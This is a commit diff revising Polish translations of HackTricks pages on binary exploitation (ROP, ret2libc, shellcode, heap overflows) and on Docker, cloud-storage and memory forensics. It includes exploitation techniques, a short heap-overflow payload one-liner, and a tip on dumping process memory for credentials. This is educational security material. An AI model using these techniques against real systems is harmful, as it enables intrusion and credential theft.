Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-01-04 02:43:36 +00:00
parent d85b062094
commit f3ff62761a
92 changed files with 2316 additions and 2343 deletions

View File

@ -27,7 +27,7 @@ Istnieje kilka sposobów, aby kontrolować przepływ programu:
- [**Przepełnienia Stosu**](../stack-overflow/) nadpisując wskaźnik powrotu ze stosu lub EBP -> ESP -> EIP.
- Może być konieczne nadużycie [**Przepełnień Liczbowych**](../integer-overflow.md), aby spowodować przepełnienie.
- Lub poprzez **Arbitralne Zapis + Write What Where to Execution**.
- [**Formaty ciągów**](../format-strings/)**:** Nadużyj `printf`, aby zapisać arbitralną zawartość w arbitralnych adresach.
- [**Format strings**](../format-strings/)**:** Nadużyj `printf`, aby zapisać arbitralną zawartość w arbitralnych adresach.
- [**Indeksowanie Tablic**](../array-indexing.md): Nadużyj źle zaprojektowanego indeksowania, aby móc kontrolować niektóre tablice i uzyskać arbitralny zapis.
- Może być konieczne nadużycie [**Przepełnień Liczbowych**](../integer-overflow.md), aby spowodować przepełnienie.
- **bof do WWW poprzez ROP**: Nadużyj przepełnienia bufora, aby skonstruować ROP i móc uzyskać WWW.
@ -40,10 +40,10 @@ Możesz znaleźć techniki **Write What Where to Execution** w:
## Wieczne Pętle
Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki może nie być wystarczająca**, aby przeprowadzić udaną eksploatację, szczególnie niektóre zabezpieczenia muszą być obejście. Dlatego warto omówić kilka opcji, aby **uczynić pojedynczą lukę eksploatowalną wiele razy** w tej samej egzekucji binarnej:
Coś, co warto wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki może nie wystarczyć**, aby przeprowadzić udaną eksploatację, szczególnie niektóre zabezpieczenia muszą być obejście. Dlatego warto omówić kilka opcji, aby **uczynić pojedynczą lukę eksploatowalną wiele razy** w tej samej egzekucji binarnej:
- Zapisz w łańcuchu **ROP** adres funkcji **`main`** lub adres, w którym występuje **luka**.
- Kontrolując odpowiedni łańcuch ROP, możesz być w stanie wykonać wszystkie akcje w tym łańcuchu.
- Kontrolując odpowiedni łańcuch ROP, możesz wykonać wszystkie akcje w tym łańcuchu.
- Zapisz w adresie **`exit` w GOT** (lub jakiejkolwiek innej funkcji używanej przez binarny przed zakończeniem) adres, aby **wrócić do luki**.
- Jak wyjaśniono w [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** przechowuj tutaj 2 funkcje, jedną do ponownego wywołania luki i drugą do wywołania **`__libc_csu_fini`**, która ponownie wywoła funkcję z `.fini_array`.
@ -51,12 +51,12 @@ Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki
### Cel: Wywołanie Istniejącej Funkcji
- [**ret2win**](./#ret2win): Istnieje funkcja w kodzie, którą musisz wywołać (może z pewnymi specyficznymi parametrami), aby uzyskać flagę.
- [**ret2win**](#ret2win): Istnieje funkcja w kodzie, którą musisz wywołać (może z pewnymi specyficznymi parametrami), aby uzyskać flagę.
- W **zwykłym bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) wystarczy zapisać adres w adresie powrotu przechowywanym na stosie.
- W bof z [**PIE**](../common-binary-protections-and-bypasses/pie/) będziesz musiał to obejść.
- W bof z [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) będziesz musiał to obejść.
- Jeśli musisz ustawić kilka parametrów, aby poprawnie wywołać funkcję **ret2win**, możesz użyć:
- Łańcucha [**ROP**](./#rop-and-ret2...-techniques), jeśli jest wystarczająco dużo gadżetów, aby przygotować wszystkie parametry.
- Łańcucha [**ROP**](#rop-and-ret2...-techniques), jeśli jest wystarczająco dużo gadżetów, aby przygotować wszystkie parametry.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (w przypadku, gdy możesz wywołać ten syscall), aby kontrolować wiele rejestrów.
- Gadżetów z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), aby kontrolować kilka rejestrów.
- Poprzez [**Write What Where**](../arbitrary-write-2-exec/) możesz nadużyć innych luk (nie bof), aby wywołać funkcję **`win`**.
@ -68,10 +68,10 @@ Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki
#### Poprzez shellcode, jeśli nx wyłączone lub mieszając shellcode z ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): To jest przydatne do przechowywania shellcode na stosie przed lub po nadpisaniu wskaźnika powrotu, a następnie **skok do niego**, aby go wykonać:
- [**(Stack) Shellcode**](#stack-shellcode): To jest przydatne do przechowywania shellcode na stosie przed lub po nadpisaniu wskaźnika powrotu, a następnie **skok do niego**, aby go wykonać:
- **W każdym przypadku, jeśli istnieje** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** w zwykłym bof będziesz musiał to obejść (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) możliwe jest skok do adresu stosu, ponieważ nigdy się nie zmieni.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będziesz potrzebować technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), aby do niego skoczyć.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będziesz potrzebował technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), aby do niego skoczyć.
- **Z** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), będziesz musiał użyć [**ROP**](../rop-return-oriented-programing/), **aby wywołać `memprotect`** i uczynić stronę `rwx`, aby następnie **przechować shellcode tam** (wywołując read na przykład) i następnie tam skoczyć.
- To połączy shellcode z łańcuchem ROP.
@ -85,8 +85,8 @@ Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki
#### Poprzez libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Przydatne do wywołania funkcji z biblioteki (zwykle z **`libc`**) jak **`system`** z pewnymi przygotowanymi argumentami (np. `'/bin/sh'`). Musisz, aby binarny **załadował bibliotekę** z funkcją, którą chciałbyś wywołać (zwykle libc).
- Jeśli **skompilowane statycznie i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adres** `system` i `/bin/sh` nie będą się zmieniać, więc możliwe jest ich użycie statycznie.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znając wersję libc** załadowaną, **adres** `system` i `/bin/sh` nie będą się zmieniać, więc możliwe jest ich użycie statycznie.
- Jeśli **skompilowane statycznie i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adres** `system` i `/bin/sh` nie zmienią się, więc możliwe jest ich użycie statycznie.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znając wersję libc** załadowaną, **adres** `system` i `/bin/sh` nie zmienią się, więc możliwe jest ich użycie statycznie.
- Z [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ale bez** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, znając libc i z binarnym używającym funkcji `system`** możliwe jest **`ret` do adresu system w GOT** z adresem `'/bin/sh'` w parametrze (musisz to ustalić).
- Z [ASLR](../common-binary-protections-and-bypasses/aslr/) ale bez [PIE](../common-binary-protections-and-bypasses/pie/), znając libc i **bez binarnego używającego `system`**:
- Użyj [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), aby rozwiązać adres `system` i go wywołać.
@ -98,7 +98,7 @@ Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki
#### Poprzez EBP/RBP
- [**Pivotowanie Stosu / EBP2Ret / Łańcuch EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontroluj ESP, aby kontrolować RET poprzez przechowywany EBP na stosie.
- [**Pivotowanie Stosu / EBP2Ret / Łańcuchowanie EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontroluj ESP, aby kontrolować RET poprzez przechowywany EBP na stosie.
- Przydatne dla **off-by-one** przepełnień stosu.
- Przydatne jako alternatywny sposób na kontrolowanie EIP, nadużywając EIP do skonstruowania ładunku w pamięci, a następnie skacząc do niego poprzez EBP.

View File

@ -1,48 +1,48 @@
# Przepełnienie sterty
# Heap Overflow
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe informacje
Przepełnienie sterty jest jak [**przepełnienie stosu**](../stack-overflow/), ale w stercie. Zasadniczo oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń.**
Heap overflow jest jak [**stack overflow**](../stack-overflow/), ale w stercie. Zasadniczo oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń.**
W przypadku przepełnień stosu wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i można to wykorzystać. W przypadku przepełnień sterty **nie ma domyślnie przechowywanych wrażliwych informacji** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak napastnik może to wykorzystać.
W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i może to być możliwe do nadużycia. W przypadku heap overflow **nie ma żadnych wrażliwych informacji przechowywanych domyślnie** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak napastnik mógłby to wykorzystać.
> [!TIP]
> Aby znaleźć przesunięcia przepełnienia, możesz użyć tych samych wzorców, co w [**przepełnieniach stosu**](../stack-overflow/#finding-stack-overflows-offsets).
> Aby znaleźć przesunięcia przepełnienia, możesz użyć tych samych wzorców, co w przypadku [**stack overflow**](../stack-overflow/index.html#finding-stack-overflows-offsets).
### Przepełnienia stosu vs Przepełnienia sterty
### Stack Overflows vs Heap Overflows
W przypadku przepełnień stosu układ i dane, które będą obecne na stosie w momencie, gdy podatność może zostać wyzwolona, są dość wiarygodne. Dzieje się tak, ponieważ stos jest liniowy, zawsze rośnie w kolidującej pamięci, w **konkretnych miejscach działania programu pamięć stosu zazwyczaj przechowuje podobny rodzaj danych** i ma pewną specyficzną strukturę z pewnymi wskaźnikami na końcu części stosu używanej przez każdą funkcję.
W przypadku stack overflow układ i dane, które będą obecne na stosie w momencie, gdy podatność może zostać wyzwolona, są dość wiarygodne. Dzieje się tak, ponieważ stos jest liniowy, zawsze rośnie w kolidującej pamięci, w **konkretnych miejscach działania programu pamięć stosu zazwyczaj przechowuje podobny rodzaj danych** i ma pewną specyficzną strukturę z pewnymi wskaźnikami na końcu części stosu używanej przez każdą funkcję.
Jednak w przypadku przepełnienia sterty używana pamięć nie jest liniowa, ale **alokowane kawałki są zazwyczaj w oddzielnych pozycjach pamięci** (nie jeden obok drugiego) z powodu **koszyków i stref** oddzielających alokacje według rozmiaru oraz dlatego, że **wcześniej zwolniona pamięć jest używana** przed alokowaniem nowych kawałków. **Trudno jest wiedzieć, który obiekt będzie kolidował z tym, który jest podatny** na przepełnienie sterty. Dlatego, gdy znajdzie się przepełnienie sterty, należy znaleźć **wiarygodny sposób, aby pożądany obiekt był następny w pamięci** od tego, który może być przepełniony.
Jednak w przypadku heap overflow używana pamięć nie jest liniowa, ale **alokowane kawałki są zazwyczaj w oddzielnych pozycjach pamięci** (nie jeden obok drugiego) z powodu **koszyków i stref** oddzielających alokacje według rozmiaru oraz dlatego, że **wcześniej zwolniona pamięć jest używana** przed alokowaniem nowych kawałków. Jest **skomplikowane, aby wiedzieć, jaki obiekt będzie kolidował z tym, który jest podatny** na przepełnienie sterty. Dlatego, gdy znajdzie się przepełnienie sterty, konieczne jest znalezienie **wiarygodnego sposobu, aby pożądany obiekt był następny w pamięci** od tego, który może być przepełniony.
Jedną z technik używanych do tego jest **Heap Grooming**, która jest używana na przykład [**w tym poście**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). W poście wyjaśniono, jak w jądrze iOS, gdy strefa kończy się pamięcią do przechowywania kawałków pamięci, rozszerza ją o stronę jądra, a ta strona jest dzielona na kawałki oczekiwanych rozmiarów, które będą używane w kolejności (do wersji iOS 9.2, potem te kawałki są używane w sposób losowy, aby utrudnić wykorzystanie tych ataków).
Dlatego w poprzednim poście, w którym występuje przepełnienie sterty, aby wymusić kolizję przepełnionego obiektu z obiektem ofiary, kilka **`kalloc` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że tworzona jest nowa strona**.
Dlatego w poprzednim poście, w którym występuje przepełnienie sterty, aby wymusić kolidujący obiekt, kilka **`kallocs` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że tworzona jest nowa strona**.
Aby wymusić to wypełnienie obiektami o określonym rozmiarze, **alokacja poza linią związana z portem mach iOS** jest idealnym kandydatem. Poprzez dostosowanie rozmiaru wiadomości, można dokładnie określić rozmiar alokacji `kalloc`, a gdy odpowiedni port mach zostanie zniszczony, odpowiednia alokacja zostanie natychmiast zwolniona z powrotem do `kfree`.
Aby wymusić to wypełnienie obiektami o określonym rozmiarze, **alokacja poza linią związana z portem mach iOS** jest idealnym kandydatem. Poprzez skonstruowanie rozmiaru wiadomości, możliwe jest dokładne określenie rozmiaru alokacji `kalloc`, a gdy odpowiedni port mach zostanie zniszczony, odpowiednia alokacja zostanie natychmiast zwolniona z powrotem do `kfree`.
Następnie niektóre z tych miejsc mogą być **zwolnione**. **Lista wolnych `kalloc.4096` zwalnia elementy w kolejności ostatni wchodzi, pierwszy wychodzi**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, podczas gdy próbuje alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
Następnie niektóre z tych miejsc mogą być **zwolnione**. **Lista zwolnień `kalloc.4096` zwalnia elementy w kolejności ostatni w pierwszej kolejności**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, próbując alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
### Przykład libc
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację przepełnienia sterty, która pokazuje, jak nadpisując bit prev in use następnego kawałka oraz pozycję prev size, można **skonsolidować używany kawałek** (sprawiając, że myśli, że jest nieużywany) i **następnie ponownie go alokować**, mając możliwość nadpisania danych, które są używane w innym wskaźniku.
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację przepełnienia sterty, która pokazuje, jak nadpisanie bitu prev in use następnego kawałka i pozycji prev size pozwala na **skonsolidowanie używanego kawałka** (sprawiając, że myśli, że jest nieużywany) i **następnie ponowne przydzielenie go**, będąc w stanie nadpisać dane, które są używane w innym wskaźniku.
Inny przykład z [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje bardzo podstawowy przykład CTF, w którym **przepełnienie sterty** może być wykorzystane do wywołania funkcji zwycięzcy, aby **zdobyć flagę**.
Inny przykład z [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje bardzo podstawowy przykład CTF, w którym **heap overflow** może być nadużyty do wywołania funkcji zwycięzcy, aby **zdobyć flagę**.
W przykładzie [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) można zobaczyć, jak wykorzystując przepełnienie bufora, można **nadpisać w pobliskim kawałku adres**, gdzie **dane użytkownika** będą zapisywane.
W przykładzie [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) można zobaczyć, jak nadużycie przepełnienia bufora pozwala na **nadpisanie w pobliskim kawałku adresu**, gdzie **dane użytkownika** będą zapisywane.
### Przykład ARM64
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład przepełnienia sterty, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku z przepełnionego kawałka. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia, nadpisując je prostym exploitem, takim jak:
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład przepełnienia sterty, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku z przepełnionego kawałka. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia poprzez nadpisanie go prostym exploitem, takim jak:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Inne przykłady
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- Wykorzystujemy podatność na przepełnienie licznika, aby uzyskać przepełnienie sterty.
- Wykorzystujemy podatność na przepełnienie całkowite, aby uzyskać przepełnienie sterty.
- Korumpujemy wskaźniki do funkcji wewnątrz `struct` przepełnionego kawałka, aby ustawić funkcję taką jak `system` i uzyskać wykonanie kodu.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
W poprzednim poleceniu **C** oznacza **Zmienione**, a **A** oznacza **Dodane**.\
W poprzedniej komendzie **C** oznacza **Zmieniony**, a **A** oznacza **Dodany**.\
Jeśli znajdziesz, że jakiś interesujący plik, taki jak `/etc/shadow`, został zmodyfikowany, możesz go pobrać z kontenera, aby sprawdzić aktywność złośliwą za pomocą:
```bash
docker cp wordpress:/etc/shadow.
@ -36,7 +36,7 @@ docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Jeśli odkryjesz, że **dodano jakiś podejrzany plik**, możesz uzyskać dostęp do kontenera i go sprawdzić:
Jeśli stwierdzisz, że **dodano jakiś podejrzany plik**, możesz uzyskać dostęp do kontenera i go sprawdzić:
```bash
docker exec -it wordpress bash
```
@ -82,15 +82,15 @@ sudo dive flask:latest
To pozwala na **nawigację przez różne bloby obrazów dockera** i sprawdzenie, które pliki zostały zmodyfikowane/dodane. **Czerwony** oznacza dodane, a **żółty** oznacza zmodyfikowane. Użyj **tab** aby przejść do innego widoku i **spacji** aby zwinąć/otworzyć foldery.
Z die nie będziesz w stanie uzyskać dostępu do zawartości różnych etapów obrazu. Aby to zrobić, musisz **dekompresować każdą warstwę i uzyskać do niej dostęp**.\
Możesz zdekompresować wszystkie warstwy z obrazu z katalogu, w którym obraz został zdekompresowany, wykonując:
Możesz dekompresować wszystkie warstwy z obrazu z katalogu, w którym obraz został dekompresowany, wykonując:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Poświadczenia z pamięci
Zauważ, że gdy uruchamiasz kontener docker na hoście **możesz zobaczyć procesy działające w kontenerze z hosta** po prostu uruchamiając `ps -ef`
Zauważ, że gdy uruchamiasz kontener docker na hoście **możesz zobaczyć procesy działające w kontenerze z poziomu hosta** uruchamiając po prostu `ps -ef`
Dlatego (jako root) możesz **zrzucić pamięć procesów** z hosta i wyszukać **poświadczenia** po prostu [**jak w następującym przykładzie**](../../linux-hardening/privilege-escalation/#process-memory).
Dlatego (jako root) możesz **zrzucić pamięć procesów** z hosta i wyszukać **poświadczenia** tak [**jak w następującym przykładzie**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -16,7 +16,7 @@ W systemie Windows folder OneDrive można znaleźć w `\Users\<username>\AppData
- Czas generowania raportu
- Rozmiar dysku twardego systemu operacyjnego
Gdy znajdziesz CID, zaleca się **wyszukiwanie plików zawierających ten identyfikator**. Możesz znaleźć pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
Po znalezieniu CID zaleca się **wyszukiwanie plików zawierających ten identyfikator**. Możesz znaleźć pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
## Google Drive
@ -65,9 +65,9 @@ Następnie możesz użyć narzędzia [**DataProtectionDecryptor**](https://nirso
![](<../../../images/image (448).png>)
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć do odzyskania oryginalnego**. Aby odzyskać oryginalny klucz, wystarczy użyć tego [przepisu cyber_chef](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) wstawiając klucz główny jako "hasło" w przepisie.
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć, aby odzyskać oryginalny**. Aby odzyskać oryginalny klucz, wystarczy użyć tego [przepisu cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) wstawiając klucz główny jako "hasło" w przepisie.
Ostateczny hex to klucz końcowy użyty do szyfrowania baz danych, który można odszyfrować za pomocą:
Ostateczny hex to klucz użyty do szyfrowania baz danych, który można odszyfrować za pomocą:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@ -81,7 +81,7 @@ Baza danych **`config.dbx`** zawiera:
Baza danych **`filecache.db`** zawiera informacje o wszystkich plikach i folderach zsynchronizowanych z Dropbox. Tabela `File_journal` zawiera najwięcej przydatnych informacji:
- **Server_path**: Ścieżka, w której znajduje się plik na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
- **Server_path**: Ścieżka, w której plik znajduje się na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
- **local_sjid**: Wersja pliku
- **local_mtime**: Data modyfikacji
- **local_ctime**: Data utworzenia

View File

@ -25,18 +25,18 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
W poprzednim poleceniu **C** oznacza **Zmienione**, a **A** oznacza **Dodane**.\
Jeśli odkryjesz, że jakiś interesujący plik, taki jak `/etc/shadow`, został zmodyfikowany, możesz go pobrać z kontenera, aby sprawdzić aktywność złośliwą za pomocą:
W poprzedniej komendzie **C** oznacza **Zmienione**, a **A** oznacza **Dodane**.\
Jeśli znajdziesz, że jakiś interesujący plik, taki jak `/etc/shadow`, został zmodyfikowany, możesz go pobrać z kontenera, aby sprawdzić aktywność złośliwą za pomocą:
```bash
docker cp wordpress:/etc/shadow.
```
Możesz również **porównać to z oryginałem**, uruchamiając nowy kontener i wyodrębniając z niego plik:
Możesz również **porównać to z oryginalnym** uruchamiając nowy kontener i wyodrębniając z niego plik:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Jeśli odkryjesz, że **dodano jakiś podejrzany plik**, możesz uzyskać dostęp do kontenera i go sprawdzić:
Jeśli stwierdzisz, że **dodano jakiś podejrzany plik**, możesz uzyskać dostęp do kontenera i go sprawdzić:
```bash
docker exec -it wordpress bash
```
@ -79,10 +79,10 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
To pozwala na **nawigację przez różne bloby obrazów dockera** i sprawdzenie, które pliki zostały zmodyfikowane/dodane. **Czerwony** oznacza dodany, a **żółty** oznacza zmodyfikowany. Użyj **tab** aby przejść do innego widoku i **spacji** aby zwinąć/otworzyć foldery.
To pozwala na **nawigację przez różne bloby obrazów dockera** i sprawdzenie, które pliki zostały zmodyfikowane/dodane. **Czerwony** oznacza dodane, a **żółty** oznacza zmodyfikowane. Użyj **tab** aby przejść do innego widoku i **spacji** aby zwinąć/otworzyć foldery.
Z die nie będziesz w stanie uzyskać dostępu do zawartości różnych etapów obrazu. Aby to zrobić, musisz **dekompresować każdą warstwę i uzyskać do niej dostęp**.\
Możesz zdekompresować wszystkie warstwy z obrazu z katalogu, w którym obraz został zdekompresowany, wykonując:
Możesz dekompresować wszystkie warstwy z obrazu z katalogu, w którym obraz został dekompresowany, wykonując:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
@ -91,6 +91,6 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don
Zauważ, że gdy uruchamiasz kontener docker na hoście **możesz zobaczyć procesy działające w kontenerze z poziomu hosta** po prostu uruchamiając `ps -ef`
Dlatego (jako root) możesz **zrzucić pamięć procesów** z hosta i wyszukiwać **poświadczenia** po prostu [**jak w następującym przykładzie**](../../linux-hardening/privilege-escalation/#process-memory).
Dlatego (jako root) możesz **zrzucić pamięć procesów** z hosta i wyszukiwać **poświadczenia** po prostu [**jak w następującym przykładzie**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -39,7 +39,7 @@ Download the executable from https://www.volatilityfoundation.org/26
```
{{#endtab}}
{{#tab name="Metoda 2"}}
{{#tab name="Method 2"}}
```bash
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
@ -52,13 +52,13 @@ python setup.py install
Uzyskaj dostęp do oficjalnej dokumentacji w [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
### Uwaga na temat wtyczek „list” vs. „scan”
### Uwaga na temat wtyczek “list” vs. “scan”
Volatility ma dwa główne podejścia do wtyczek, które czasami są odzwierciedlone w ich nazwach. Wtyczki list” będą próbować nawigować przez struktury jądra Windows, aby uzyskać informacje takie jak procesy (lokalizowanie i przechodzenie przez powiązaną listę struktur `_EPROCESS` w pamięci), uchwyty systemu operacyjnego (lokalizowanie i wyświetlanie tabeli uchwytów, dereferencjonowanie wszelkich znalezionych wskaźników itp.). Zachowują się mniej więcej tak, jakby to zrobiło API Windows, gdyby poproszono je na przykład o wylistowanie procesów.
Volatility ma dwa główne podejścia do wtyczek, które czasami są odzwierciedlone w ich nazwach. Wtyczki list” będą próbować nawigować przez struktury jądra Windows, aby uzyskać informacje takie jak procesy (lokalizowanie i przechodzenie przez powiązaną listę struktur `_EPROCESS` w pamięci), uchwyty systemu operacyjnego (lokalizowanie i wyświetlanie tabeli uchwytów, dereferencjonowanie wszelkich znalezionych wskaźników itp.). Zachowują się one mniej więcej tak, jakby to robiło API Windows, gdyby na przykład poprosić o wylistowanie procesów.
To sprawia, że wtyczki list” są dość szybkie, ale równie podatne na manipulacje przez złośliwe oprogramowanie, jak API Windows. Na przykład, jeśli złośliwe oprogramowanie użyje DKOM, aby odłączyć proces od powiązanej listy `_EPROCESS`, nie pojawi się on w Menedżerze zadań, ani w pslist.
To sprawia, że wtyczki list” są dość szybkie, ale równie podatne na manipulacje przez złośliwe oprogramowanie, jak API Windows. Na przykład, jeśli złośliwe oprogramowanie użyje DKOM, aby odłączyć proces od powiązanej listy `_EPROCESS`, nie pojawi się on w Menedżerze zadań, ani w pslist.
Z drugiej strony, wtyczki „scan” przyjmą podejście podobne do wydobywania pamięci w poszukiwaniu rzeczy, które mogą mieć sens, gdy są dereferencjonowane jako konkretne struktury. `psscan` na przykład odczyta pamięć i spróbuje stworzyć obiekty `_EPROCESS` z niej (używa skanowania tagów puli, które polega na wyszukiwaniu 4-bajtowych ciągów wskazujących na obecność interesującej struktury). Zaletą jest to, że może wykopać procesy, które zakończyły działanie, a nawet jeśli złośliwe oprogramowanie manipuluje powiązaną listą `_EPROCESS`, wtyczka nadal znajdzie strukturę leżącą w pamięci (ponieważ nadal musi istnieć, aby proces mógł działać). Wadą jest to, że wtyczki „scan” są nieco wolniejsze niż wtyczki „list” i czasami mogą dawać fałszywe pozytywy (proces, który zakończył działanie zbyt dawno i miał części swojej struktury nadpisane przez inne operacje).
Wtyczki “scan”, z drugiej strony, przyjmą podejście podobne do wydobywania pamięci w poszukiwaniu rzeczy, które mogą mieć sens, gdy zostaną dereferencjonowane jako konkretne struktury. `psscan` na przykład odczyta pamięć i spróbuje stworzyć obiekty `_EPROCESS` z niej (używa skanowania tagów puli, które polega na wyszukiwaniu 4-bajtowych ciągów wskazujących na obecność interesującej struktury). Zaletą jest to, że może wykryć procesy, które zakończyły działanie, a nawet jeśli złośliwe oprogramowanie manipuluje powiązaną listą `_EPROCESS`, wtyczka nadal znajdzie strukturę leżącą w pamięci (ponieważ nadal musi istnieć, aby proces mógł działać). Wadą jest to, że wtyczki “scan” są nieco wolniejsze niż wtyczki “list” i czasami mogą dawać fałszywe pozytywy (proces, który zakończył działanie zbyt dawno i miał części swojej struktury nadpisane przez inne operacje).
